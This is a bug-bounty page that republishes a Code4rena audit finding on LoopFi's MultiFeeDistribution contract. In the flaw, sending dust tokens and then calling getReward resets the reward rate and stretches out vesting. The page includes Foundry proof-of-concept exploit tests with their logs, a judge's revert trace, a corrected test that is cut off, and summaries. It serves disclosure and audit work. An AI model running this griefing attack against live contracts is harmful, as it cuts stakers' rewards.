Skip to content
Business logic Audit finding Intermediate

Directly sending dust token amount will slow down distribution in MultiFeeDistribution.sol

The reward distribution contract recalculates its reward rate whenever its token balance exceeds the recorded balance, so anyone can send a tiny amount of the reward token and then trigger a reward claim to reset the emission period. This lets an attacker repeatedly stretch the vesting schedule and sharply reduce the rewards other users receive per day.

novamanbg Follow

Originally disclosed on Code4rena

Submitted by novamanbg

While sending a small amount and calling getReward is a typical example of griefing which is normally considered Medium. Given the low cost of the attack and that no specific external conditions need to be met as well as the high impact for all the users of the protocol I consider it High severity.

Proof of Concept

The _getReward function in MultiFeeDistribution.sol will call _notifyUnseenReward which will execute the following:

 uint256 unseen = IERC20(token).balanceOf(address(this)) - r.balance;
            if (unseen > 0) {
                _notifyReward(token, unseen);
            }

If a small amount of token is sent directly to the contract this will mean that the unseen amount will also be very small but greater than 0. This will lead to the execution of:

 r.rewardPerSecond = ((reward + leftover) * 1e12) / rewardsDuration;

reward will be the dust amount that was sent by the user. As a result, the following changes to the reward distribution will be made:

else {
            uint256 remaining = r.periodFinish - block.timestamp;
            uint256 leftover = (remaining * r.rewardPerSecond) / 1e12;
            r.rewardPerSecond = ((reward + leftover) * 1e12) / rewardsDuration;
        }

        r.lastUpdateTime = block.timestamp;
        r.periodFinish = block.timestamp + rewardsDuration;
        r.balance = r.balance + reward;

Consider the following scenario:

  1. Reward period starts at with r.balance = 1000 eth and rewardsDuration = 10 days. (For simplicity, the example will be in days not in seconds).

  2. 9 days have passed and a user calls getReward so the accumulated reward from the vesting will be 900 eth. However a malicious user decides to send a small reward directly to the protocol. For example, 1 wei and they call get reward again:

    • r.leftover = 100eth
    • r.rewardPerSecond = (100eth(leftover)+1wei) / 10 days(rewards duration) = 10 eth a day
    • r.period finish = now +10 days

As you can see simply by directly sending a small amount, the rewardPerSecond was decreased drastically and the vest is now much longer.

Recommended Mitigation Steps

_notifyUnseenReward should not be in functions without access control for trusted protocol roles, as griefing would always be possible. If you still want the unseen amount to be updated frequently consider value-weighted time additions to the vesting.

amarcu (LoopFi) confirmed

Koolex (judge) decreased severity to Medium and commented:

Requesting a PoC (coded) to evaluate the risk based on real numbers. Only in PJ QA, please.

radin100 (warden) commented:

I created two tests to show the attack once and multiple times.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {TestBase, console} from "../TestBase.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

import {WAD} from "../../utils/Math.sol";
import {IVaultRegistry} from "../../interfaces/IVaultRegistry.sol";
import {MultiFeeDistribution} from "../../reward/MultiFeeDistribution.sol";
import {IMultiFeeDistribution} from "../../reward/interfaces/IMultiFeeDistribution.sol";
import {IPriceProvider} from "../../reward/interfaces/IPriceProvider.sol";
import {IChefIncentivesController} from "../../reward/interfaces/IChefIncentivesController.sol";
import {LockedBalance, Balances} from "../../reward/interfaces/LockedBalance.sol";
import {Reward} from "../../reward/interfaces/LockedBalance.sol";

// chefIncentivesController.setEligibilityExempt(user, false);
// chefIncentivesController.afterLockUpdate(user);
contract MockController {
    constructor() {}
    function setEligibilityExempt(address user, bool info) external view {}
    function afterLockUpdate(address user) external view {}
}

contract MockPriceProvider {
    constructor() {}

    function getRewardTokenPrice(address rewardToken, uint256 reward) external view returns (uint256) {
        return 0;
    }
 function update() external view {}
}

contract MultiFeeDistributionTest is TestBase {
    using SafeERC20 for IERC20;

    MultiFeeDistribution internal multiFeeDistribution;
    ERC20Mock public loopToken;
    ERC20Mock public stakeToken;
    ERC20Mock public rewardToken;
    MockPriceProvider public m;
    MockController public controller1;
    address internal mockPriceProvider;
    address internal mockLockZap;
    address internal mockDao;

    uint256 public rewardsDuration = 30 days;
    uint256 public rewardsLookback = 1 days;
    uint256 public lockDuration = 10 days;
    uint256 public burnRatio = 50000; // 50%
    uint256 public vestDuration = 30 days;

    function setUp() public virtual override {
        super.setUp();

        mockLockZap = vm.addr(uint256(keccak256("lockZap")));
        mockDao = vm.addr(uint256(keccak256("dao")));
        m = new MockPriceProvider();
        controller1 = new MockController();
        mockPriceProvider = address(m);
        loopToken = new ERC20Mock();
        stakeToken = new ERC20Mock();
        rewardToken = new ERC20Mock();
        multiFeeDistribution = MultiFeeDistribution(
            address(
                new ERC1967Proxy(
                    address(new MultiFeeDistribution()),
                    abi.encodeWithSelector(
                        MultiFeeDistribution.initialize.selector,
                        address(loopToken),
                        mockLockZap,
                        mockDao,
                        mockPriceProvider,
                        rewardsDuration,
                        rewardsLookback,
                        lockDuration,
                        burnRatio,
                        vestDuration
                    )
                )
            )
        );
    }

    function _addLockDurations() internal returns (uint256 len) {
        len = 4;
        uint256[] memory lockDurations = new uint256[](len);
        uint256[] memory rewardMultipliers = new uint256[](len);
        lockDurations[0] = 2592000;
        lockDurations[1] = 7776000;
        lockDurations[2] = 15552000;
        lockDurations[3] = 31104000;

        rewardMultipliers[0] = 1;
        rewardMultipliers[1] = 4;
        rewardMultipliers[2] = 10;
        rewardMultipliers[3] = 25;

        multiFeeDistribution.setLockTypeInfo(lockDurations, rewardMultipliers);
    }

    function test_exploit_once() public {
        uint256 amount = 10 ether;
        address alice = vm.addr(uint256(keccak256("Alice")));
        address bob = vm.addr(uint256(keccak256("Bob")));
        address minter = vm.addr(uint256(keccak256("minter")));
        address[] memory minters = new address[](1);
        minters[0] = minter;
        address[] memory rewards = new address[](1);
        rewards[0] = address(rewardToken);
        uint256 len = _addLockDurations();
        uint256 typeIndex = 0;

        stakeToken.mint(alice, amount);
        rewardToken.mint(minter, 100 ether); //the reward will be 100 ether
        rewardToken.mint(bob, 0.1 ether); //bob will have a very small amount
        multiFeeDistribution.setLPToken(address(stakeToken));

        address incentivesController = address(controller1);
        address treasury = vm.addr(uint256(keccak256("treasury")));
        multiFeeDistribution.setAddresses(IChefIncentivesController(incentivesController), treasury);

        vm.mockCall(
            incentivesController,
            abi.encodeWithSelector(IChefIncentivesController.afterLockUpdate.selector, alice),
            abi.encode(true)
        );
        vm.prank(alice);
        stakeToken.approve(address(multiFeeDistribution), amount);
        vm.prank(alice);
        multiFeeDistribution.stake(amount, alice, 1);
        multiFeeDistribution.setMinters(minters);
        vm.prank(minter);
        multiFeeDistribution.addReward(address(rewardToken));
        vm.prank(minter);
        rewardToken.transfer(address(multiFeeDistribution), 100 ether);

        vm.warp(block.timestamp);
        vm.prank(alice);
        multiFeeDistribution.getReward(rewards);
        vm.warp(block.timestamp + 20 days);
        vm.prank(alice);
        multiFeeDistribution.getReward(rewards);
        uint256 balanceBefore = rewardToken.balanceOf(address(alice));
        uint256 dailyTokens1 = rewardToken.balanceOf(address(alice)) / 20; // the amount that alice has devided by the 20 days
        console.log("daily rewards under normal conditions");
        console.log(dailyTokens1); //These are the tokens that alice gets per day - 3.33e18

        vm.prank(bob);
        rewardToken.transfer(address(multiFeeDistribution), 1); //bob transfers the dust amount
        vm.prank(bob);
        multiFeeDistribution.getReward(rewards); //calls get reward to update the rate
        vm.warp(block.timestamp + 1 days);
        vm.prank(alice);
        multiFeeDistribution.getReward(rewards);
        uint256 dailyTokens2 = rewardToken.balanceOf(address(alice)) - balanceBefore;
        balanceBefore = rewardToken.balanceOf(address(alice));
        console.log("New daily token rewards:");
        console.log(dailyTokens2); //1e18

        //at the end bob managed to make it 0.326912783616223995 per day and he can slow it down as much as he wants
        //What is more is that alice will have to wait for another 30 days!
        console.log("spent by bob on the attack NOT e18");
        console.log(0.1 ether - rewardToken.balanceOf(address(bob))); //Bob spent 20(not 0.20e18)
        console.log(
            "Pending rewards that the user will get after another 30 days instead of two of nobody does the attack again:"
        );
        console.log(rewardToken.balanceOf(address(multiFeeDistribution))); //the assets that will be distributed for the next 30 days instead of two
    }

    function test_exploit_multiple_times() public {
        uint256 amount = 10 ether;
        address alice = vm.addr(uint256(keccak256("Alice")));
        address bob = vm.addr(uint256(keccak256("Bob")));
        address minter = vm.addr(uint256(keccak256("minter")));
        address[] memory minters = new address[](1);
        minters[0] = minter;
        address[] memory rewards = new address[](1);
        rewards[0] = address(rewardToken);
        uint256 len = _addLockDurations();
        uint256 typeIndex = 0;

        stakeToken.mint(alice, amount);
        rewardToken.mint(minter, 100 ether); //the reward will be 100 ether
        rewardToken.mint(bob, 0.1 ether); //bob will have a very small amount
        multiFeeDistribution.setLPToken(address(stakeToken));

        address incentivesController = address(controller1);
        address treasury = vm.addr(uint256(keccak256("treasury")));
        multiFeeDistribution.setAddresses(IChefIncentivesController(incentivesController), treasury);

        vm.mockCall(
            incentivesController,
            abi.encodeWithSelector(IChefIncentivesController.afterLockUpdate.selector, alice),
            abi.encode(true)
        );
        vm.prank(alice);
        stakeToken.approve(address(multiFeeDistribution), amount);
        vm.prank(alice);
        multiFeeDistribution.stake(amount, alice, 1);
        multiFeeDistribution.setMinters(minters);
        vm.prank(minter);
        multiFeeDistribution.addReward(address(rewardToken));
        vm.prank(minter);
        rewardToken.transfer(address(multiFeeDistribution), 100 ether);

        vm.warp(block.timestamp);
        vm.prank(alice);
        multiFeeDistribution.getReward(rewards);
        vm.warp(block.timestamp + 20 days);
        vm.prank(alice);
        multiFeeDistribution.getReward(rewards);
        uint256 balanceBefore = rewardToken.balanceOf(address(alice));
        uint256 dailyTokens1 = rewardToken.balanceOf(address(alice)) / 20; // the amount that alice has devided by the 20 days
        console.log(dailyTokens1); //These are the tokens that alice gets per day - 3.33e18

        for (uint i = 0; i < 20; i++) {
            vm.prank(bob);
            rewardToken.transfer(address(multiFeeDistribution), 1); //bob transfers the dust amount
            vm.prank(bob);
            multiFeeDistribution.getReward(rewards); //calls get reward to update the rate
            vm.warp(block.timestamp + 1 days);
            vm.prank(alice);
            multiFeeDistribution.getReward(rewards);
            uint256 dailyTokens2 = rewardToken.balanceOf(address(alice)) - balanceBefore;
            balanceBefore = rewardToken.balanceOf(address(alice));
            console.log("New daily token rewards:");
            console.log(dailyTokens2); //1e18
            vm.warp(block.timestamp + 3 days); //waits another three days
        }
        //at the end bob managed to make it 0.326912783616223995 per day and he can slow it down however he wants
        //What is more is that alice will have to wait for another 30 days!
        console.log(0.1 ether - rewardToken.balanceOf(address(bob))); //Bob spent 20(not 0.20e18)
    } // @IMPORTANT Performing the attack once instead of twenty times can result in decreasing the rate
        //and the duration will be reset, starting from beginning again!
}

The output is the following:

Results after running the attack once: Logs:

  daily rewards under normal conditions
  3333333333333333333
  New daily token rewards:
  1111111111111111111
  spent by bob on the attack NOT e18
  1
  Pending rewards that the user will get after another 30 days instead of two of nobody does the attack again:
  32222222222222222224

Results after running the attack 20 times: Logs:

  3333333333333333333 - under normal conditions
  New daily token rewards:
  1111111111111111111
  New daily token rewards:
  4296296296296296296
  New daily token rewards:
  3723456790123456790
  New daily token rewards:
  3226995884773662551
  New daily token rewards:
  2796729766803840878
  New daily token rewards:
  2423832464563328760
  New daily token rewards:
  2100654802621551592
  New daily token rewards:
  1820567495605344713
  New daily token rewards:
  1577825162857965418
  New daily token rewards:
  1367448474476903363
  New daily token rewards:
  1185122011213316248
  New daily token rewards:
  1027105743051540748
  New daily token rewards:
  890158310644668648
  New daily token rewards:
  771470535892046162
  New daily token rewards:
  668607797773106673
  New daily token rewards:
  579460091403359117
  New daily token rewards:
  502198745882911235
  New daily token rewards:
  435238913098523070
  New daily token rewards:
  377207058018719994
  New daily token rewards:
  326912783616223995
  20

The attack can be performed by anyone and allows anyone to extend reward finish time indefinitely and causing loss of funds for the users. So I consider it to be a valid High under the following C4 rule: “3 — High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).”

It also does not require any specific external conditions and can be performed anytime. Also the problem is not the attack itself, as it will happen anytime the contract’s balance has changed. This means that even if it is used “the right way” by the protocol team, they will mess up the whole distribution so basically the whole functionality as-is now is useless.

Koolex (judge) commented:

@radin100 - I am getting EVM revert. Any special steps to produce the output above?

Ran 1 test for src/test/unit/poc.t.sol:MultiFeeDistributionTest
[FAIL. Reason: EvmError: Revert] test_exploit_multiple_times() (gas: 1019654)
Traces:
  [1019654] MultiFeeDistributionTest::test_exploit_multiple_times()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] 0x4dBa461cA9342F4A6Cf942aBd7eacf8AE259108C
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] 0x030F6a4C5Baa7350405fA8122cF458070Abd1B59
    ├─ [236649] ERC1967Proxy::setLockTypeInfo([2592000 [2.592e6], 7776000 [7.776e6], 15552000 [1.555e7], 31104000 [3.11e7]], [1, 4, 10, 25])
    │   ├─ [231691] MultiFeeDistribution::setLockTypeInfo([2592000 [2.592e6], 7776000 [7.776e6], 15552000 [1.555e7], 31104000 [3.11e7]], [1, 4, 10, 25]) [delegatecall]
    │   │   ├─ emit LockTypeInfoUpdated(lockPeriod: [2592000 [2.592e6], 7776000 [7.776e6], 15552000 [1.555e7], 31104000 [3.11e7]], rewardMultipliers: [1, 4, 10, 25])
    │   │   └─ ← [Stop]
    │   └─ ← [Return]
    ├─ [46638] ERC20Mock::mint(0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea, 10000000000000000000 [1e19])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea, value: 10000000000000000000 [1e19])
    │   └─ ← [Stop]
    ├─ [46638] ERC20Mock::mint(0x030F6a4C5Baa7350405fA8122cF458070Abd1B59, 100000000000000000000 [1e20])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x030F6a4C5Baa7350405fA8122cF458070Abd1B59, value: 100000000000000000000 [1e20])
    │   └─ ← [Stop]
    ├─ [24738] ERC20Mock::mint(0x4dBa461cA9342F4A6Cf942aBd7eacf8AE259108C, 100000000000000000 [1e17])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x4dBa461cA9342F4A6Cf942aBd7eacf8AE259108C, value: 100000000000000000 [1e17])
    │   └─ ← [Stop]
    ├─ [24426] ERC1967Proxy::setLPToken(ERC20Mock: [0xd01212B1b66Aa0Cfc46dE9FcA030867bAec6efC4])
    │   ├─ [24031] MultiFeeDistribution::setLPToken(ERC20Mock: [0xd01212B1b66Aa0Cfc46dE9FcA030867bAec6efC4]) [delegatecall]
    │   │   ├─ emit LPTokenUpdated(_lpToken: ERC20Mock: [0xd01212B1b66Aa0Cfc46dE9FcA030867bAec6efC4])
    │   │   └─ ← [Stop]
    │   └─ ← [Return]
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] 0xf43Bca55E8091977223Fa5b776E23528D205dcA8
    ├─ [46917] ERC1967Proxy::setAddresses(MockController: [0x3ba9aa3f215faDe4c84F457Ab3e5e64BE0FEFCB3], 0xf43Bca55E8091977223Fa5b776E23528D205dcA8)
    │   ├─ [46519] MultiFeeDistribution::setAddresses(MockController: [0x3ba9aa3f215faDe4c84F457Ab3e5e64BE0FEFCB3], 0xf43Bca55E8091977223Fa5b776E23528D205dcA8) [delegatecall]
    │   │   ├─ emit AddressesUpdated(_controller: MockController: [0x3ba9aa3f215faDe4c84F457Ab3e5e64BE0FEFCB3], _treasury: 0xf43Bca55E8091977223Fa5b776E23528D205dcA8)
    │   │   └─ ← [Stop]
    │   └─ ← [Return]
    ├─ [0] VM::mockCall(MockController: [0x3ba9aa3f215faDe4c84F457Ab3e5e64BE0FEFCB3], 0x3adcdfc8000000000000000000000000bf0b5a4099f0bf6c8bc4252ebec548bae95602ea, 0x0000000000000000000000000000000000000000000000000000000000000001)
    │   └─ ← [Return]
    ├─ [0] VM::prank(0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea)
    │   └─ ← [Return]
    ├─ [24629] ERC20Mock::approve(ERC1967Proxy: [0x27C56392715dCe87635e39F239653dC985b0Dd11], 10000000000000000000 [1e19])
    │   ├─ emit Approval(owner: 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea, spender: ERC1967Proxy: [0x27C56392715dCe87635e39F239653dC985b0Dd11], value: 10000000000000000000 [1e19])
    │   └─ ← [Return] true
    ├─ [0] VM::prank(0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea)
    │   └─ ← [Return]
    ├─ [285670] ERC1967Proxy::stake(10000000000000000000 [1e19], 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea, 1)
    │   ├─ [285266] MultiFeeDistribution::stake(10000000000000000000 [1e19], 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea, 1) [delegatecall]
    │   │   ├─ emit LockerAdded(locker: 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea)
    │   │   ├─ [27756] ERC20Mock::transferFrom(0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea, ERC1967Proxy: [0x27C56392715dCe87635e39F239653dC985b0Dd11], 10000000000000000000 [1e19])
    │   │   │   ├─ emit Approval(owner: 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea, spender: ERC1967Proxy: [0x27C56392715dCe87635e39F239653dC985b0Dd11], value: 0)
    │   │   │   ├─ emit Transfer(from: 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea, to: ERC1967Proxy: [0x27C56392715dCe87635e39F239653dC985b0Dd11], value: 10000000000000000000 [1e19])
    │   │   │   └─ ← [Return] true
    │   │   ├─ [0] MockController::afterLockUpdate(0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea)
    │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ emit Locked(user: 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea, amount: 10000000000000000000 [1e19], lockedBalance: 10000000000000000000 [1e19], lockLength: 7776000 [7.776e6], isLP: true)
    │   │   └─ ← [Stop]
    │   └─ ← [Return]
    ├─ [46084] ERC1967Proxy::setMinters([0x030F6a4C5Baa7350405fA8122cF458070Abd1B59])
    │   ├─ [45680] MultiFeeDistribution::setMinters([0x030F6a4C5Baa7350405fA8122cF458070Abd1B59]) [delegatecall]
    │   │   └─ ← [Stop]
    │   └─ ← [Return]
    ├─ [0] VM::prank(0x030F6a4C5Baa7350405fA8122cF458070Abd1B59)
    │   └─ ← [Return]
    ├─ [93983] ERC1967Proxy::addReward(ERC20Mock: [0x3C786eec72204b391Fc3B339CEf2E84351999Ea6])
    │   ├─ [93588] MultiFeeDistribution::addReward(ERC20Mock: [0x3C786eec72204b391Fc3B339CEf2E84351999Ea6]) [delegatecall]
    │   │   ├─ emit RewardAdded(_rewardToken: ERC20Mock: [0x3C786eec72204b391Fc3B339CEf2E84351999Ea6])
    │   │   └─ ← [Stop]
    │   └─ ← [Return]
    ├─ [0] VM::prank(0x030F6a4C5Baa7350405fA8122cF458070Abd1B59)
    │   └─ ← [Return]
    ├─ [25093] ERC20Mock::transfer(ERC1967Proxy: [0x27C56392715dCe87635e39F239653dC985b0Dd11], 100000000000000000000 [1e20])
    │   ├─ emit Transfer(from: 0x030F6a4C5Baa7350405fA8122cF458070Abd1B59, to: ERC1967Proxy: [0x27C56392715dCe87635e39F239653dC985b0Dd11], value: 100000000000000000000 [1e20])
    │   └─ ← [Return] true
    ├─ [0] VM::warp(2592000 [2.592e6])
    │   └─ ← [Return]
    ├─ [0] VM::prank(0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea)
    │   └─ ← [Return]
    ├─ [84235] ERC1967Proxy::getReward([0x3C786eec72204b391Fc3B339CEf2E84351999Ea6])
    │   ├─ [83830] MultiFeeDistribution::getReward([0x3C786eec72204b391Fc3B339CEf2E84351999Ea6]) [delegatecall]
    │   │   ├─ [354] MockController::setEligibilityExempt(0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea, true)
    │   │   │   └─ ← [Stop]
    │   │   ├─ [562] ERC20Mock::balanceOf(ERC1967Proxy: [0x27C56392715dCe87635e39F239653dC985b0Dd11]) [staticcall]
    │   │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   │   ├─ emit RevenueEarned(asset: ERC20Mock: [0x3C786eec72204b391Fc3B339CEf2E84351999Ea6], assetAmount: 100000000000000000000 [1e20])
    │   │   ├─ [312] MockPriceProvider::getRewardTokenPrice(ERC20Mock: [0x3C786eec72204b391Fc3B339CEf2E84351999Ea6], 100000000000000000000 [1e20]) [staticcall]
    │   │   │   └─ ← [Return] 0
    │   │   ├─ emit NewTransferAdded(asset: ERC20Mock: [0x3C786eec72204b391Fc3B339CEf2E84351999Ea6], lpUsdValue: 0)
    │   │   ├─ [354] MockController::setEligibilityExempt(0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea, false)
    │   │   │   └─ ← [Stop]
    │   │   ├─ [0] MockController::afterLockUpdate(0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea)
    │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ [104] MockPriceProvider::update()
    │   │   │   └─ ← [Revert] EvmError: Revert
    │   │   └─ ← [Revert] EvmError: Revert
    │   └─ ← [Revert] EvmError: Revert
    └─ ← [Revert] EvmError: Revert


Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 11.24ms (2.50ms CPU time)

Ran 1 test suite in 958.64ms (11.24ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in src/test/unit/poc.t.sol:MultiFeeDistributionTest
[FAIL. Reason: EvmError: Revert] test_exploit_multiple_times() (gas: 1019654)

radin100 (warden) commented:

@Koolex - thank you for running my tests. It seems that I forgot to add the update function in one of the mock contracts (because I commented out the IPriceProvider(_priceProvider).update(); in the original code). Now I fixed the test so it will not fail in the original code. Sorry for the inconvenience.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {TestBase, console} from "../TestBase.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

import {WAD} from "../../utils/Math.sol";
import {IVaultRegistry} from "../../interfaces/IVaultRegistry.sol";
import {MultiFeeDistribution} from "../../reward/MultiFeeDistribution.sol";
import {IMultiFeeDistribution} from "../../reward/interfaces/IMultiFeeDistribution.sol";
import {IPriceProvider} from "../../reward/interfaces/IPriceProvider.sol";
import {IChefIncentivesController} from "../../reward/interfaces/IChefIncentivesController.sol";
import {LockedBalance, Balances} from "../../reward/interfaces/LockedBalance.sol";
import {Reward} from "../../reward/interfaces/LockedBalance.sol";

// chefIncentivesController.setEligibilityExempt(user, false);
// chefIncentivesController.afterLockUpdate(user);
contract MockController {
    constructor() {}
    function setEligibilityExempt(address user, bool info) external view {}
    function afterLockUpdate(address user) external view {}
}

contract MockPriceProvider {
    constructor() {}

    function getRewardTokenPrice(address rewardToken, uint256 reward) external view returns (uint256) {
        return 0;
    }

    function update() external view {}
}

contract MultiFeeDistributionTest is TestBase {
    using SafeERC20 for IERC20;

    MultiFeeDistribution internal multiFeeDistribution;
    ERC20Mock public loopToken;
    ERC20Mock public stakeToken;
    ERC20Mock public rewardToken;
    MockPriceProvider public m;
    MockController public controller1;
    address internal mockPriceProvider;
    address internal mockLockZap;
    address internal mockDao;

    uint256 public rewardsDuration = 30 days;
    uint256 public rewardsLookback = 1 days;
    uint256 public lockDuration = 10 days;
    uint256 public burnRatio = 50000; // 50%
    uint256 public vestDuration = 30 days;

    function setUp() public virtual override {
        super.setUp();

        mockLockZap = vm.addr(uint256(keccak256("lockZap")));
        mockDao = vm.addr(uint256(keccak256("dao")));
        m = new MockPriceProvider();
        controller1 = new MockController();
        mockPriceProvider = address(m);
        loopToken = new ERC20Mock();
        stakeToken = new ERC20Mock();
        rewardToken = new ERC20Mock();
        multiFeeDistribution = MultiFeeDistribution(
            address(
                new ERC1967Proxy(
                    address(new MultiFeeDistribution()),
                    abi.encodeWithSelector(
                        MultiFeeDistribution.initialize.selector,
                        address(loopToken),
                        mockLockZap,
                        mockDao,
                        mockPriceProvider,
                        rewardsDuration,
                        rewardsLookback,
                        lockDuration,
                        burnRatio,
                        vestDuration
                    )
                )
            )
        );
    }

    function _addLockDurations() internal returns (uint256 len) {
        len = 4;
        uint256[] memory lockDurations = new uint256[](len);
        uint256[] memory rewardMultipliers = new uint256[](len);
        lockDurations[0] = 2592000;
        lockDurations[1] = 7776000;
        lockDurations[2] = 15552000;
        lockDurations[3] = 31104000;

        rewardMultipliers[0] = 1;
        rewardMultipliers[1] = 4;
        rewardMultipliers[2] = 10;
        rewardMultipliers[3] = 25;

        multiFeeDistribution.setLockTypeInfo(lockDurations, rewardMultipliers);
    }

    function test_exploit_once() public {
        uint256 amount = 10 ether;
        address alice = vm.addr(uint256(keccak256("Alice")));
        address bob = vm.addr(uint256(keccak256("Bob")));
        address minter = vm.addr(uint256(kecc

The original report as published on Code4rena, by novamanbg. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the reward-notification logic treats any positive difference between the contract's token balance and its recorded balance as a fresh reward, and it is reachable from an unprivileged reward-claim function, so a dust transfer resets the emission rate and period.

Impact

An attacker can repeatedly extend the reward finish time and cut other users' daily rewards, causing loss of funds for users; the judge reduced severity to Medium and asked for a coded proof of concept.

What the attacker needed

No special role needed; attacker holds a tiny amount of reward token; victim has staked funds

How it was found

  1. A user stakes tokens and a minter funds the contract with a reward amount, starting the reward period.
  2. After some days pass, a user claims rewards, leaving a leftover amount and a reduced rate.
  3. An attacker sends a tiny amount of the reward token directly to the contract.
  4. The attacker calls the reward-claim function, which detects the unseen balance and recalculates the rate and period finish.
  5. The victim's daily rewards drop and the vesting period is extended.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A staking contract pays out rewards gradually over a set period. It notices extra tokens arriving by comparing its real balance with a stored figure, and treats any difference as a new reward to spread out. Because anyone can send tokens to a contract, an attacker can send a tiny amount and force the payout rate to be recalculated, which restarts the payout period and slows everyone's earnings.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by novamanbg

View all

1 more disclosed report, best first.

More from LoopFi

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.